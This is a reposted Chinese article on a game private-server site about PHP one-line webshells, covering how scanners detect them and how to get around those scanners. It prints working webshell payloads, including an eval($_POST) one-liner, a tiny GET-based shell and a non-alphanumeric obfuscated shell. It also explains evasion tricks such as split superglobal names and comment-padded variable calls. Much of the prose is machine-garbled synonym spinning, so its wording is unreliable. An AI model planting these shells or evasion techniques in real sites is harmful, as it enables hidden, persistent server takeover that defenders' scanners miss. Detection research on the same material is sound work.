• WAP手机版 RSS订阅 加入收藏  设为首页
当前位置:首页 > 我本沉默

我本沉默常见 Webshell 的检测办法及检测绕过思路

时间:2015/3/14 1:37:10  作者:我本沉默  来源:www.pkmir2.com  查看:384  评论:0
内容摘要:我们从一个最简单的webshell结构可以看出其基本结构:“<!--?php eval($_POST[‘a’]);?-->”从目前被公布的一句话webshell来看,基本都符合这个结构,即shell的实现需要两步:数据的传递、执行所传递的数据。数据传递&绕过检测对于数据传递,我们通常的做法是使...

我们从一个最简单的webshell构造可以看出其根本构造:“<!--?php eval($_POST[‘a’]);?-->”

从今朝被颁布的一句话webshell来看,根本都相符这个构造,即shell的实现须要两步:数据的传递、实行所传递的数据。

数据传递&绕过检测

对于数据传递,我们常日的做法是应用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词假如直接出现的话,那么可以很随意马虎回溯到,我们有几种筹划来解决这个问题:

应用应用本身地点框架的输入封装来获得传递的数据

采取某种变通的方法来绕过检测,譬如应用${"_G"."ET"}。不过这种方法也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以经由过程“$/*a*/{”这种方法绕过(当然其又有被跟踪的可能性)。

应用其他数据获取方法来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。

工资构造措辞缺点或应用漏洞,并且这种缺点是不易察觉的,譬如捏造治理员session等。

数据实行&绕过检测

对于数据实行,我们常日应用的函数或方法有:eval、create_function、``、exec、preg_replace等。当然这类关键词假如直接出现的话,我们的主动化webshell检测脚本可以很随便忽略的进行辨认,今朝看我们可以绕过检测的筹划较少:

1、经由过程$a()这种方法来实行函数。不过这种方法也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规矩,同样我们可以经由过程$a/*a*/()这种方法以及响应的变通方法来绕过。(当然其又有被跟踪的可能性)

2、测验测验去找到不在黑名单中的函数,或者极其常见的函数。


关于一句话webshell的出现情势和检测筹划

比来微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell

(http://h.ackack.net/tiny-php-shell.html):

<?=($_=@$_GET[2]).@$_($_GET[1])?>

有Spanner的Non alphanumeric webshell

(http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):

<?

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]&#124;"").($_[+""]&#124;"").($_[+""]^"");

?>

<?=${'_'.$_}['_'](${'_'.$_}['__']);?>


©2009-2016 pkmir2.com 版权所有 www.pkmir2.com 湘ICP备2022024766号-1

本站声明:本站所有技术资料与资源均为网络搜集整理,并不代表本站的观点与立场,如有侵犯您的权益,请来信xiov壹壹壹#qq.com指出,本站将立即改正

©CopyRight 2009-2012, 我本沉默传奇,我本沉默发布网,嘟嘟传奇,仙剑传奇,秋风传奇,情缘传奇,执迷古镇 网站地图 Inc.All Rights Reserved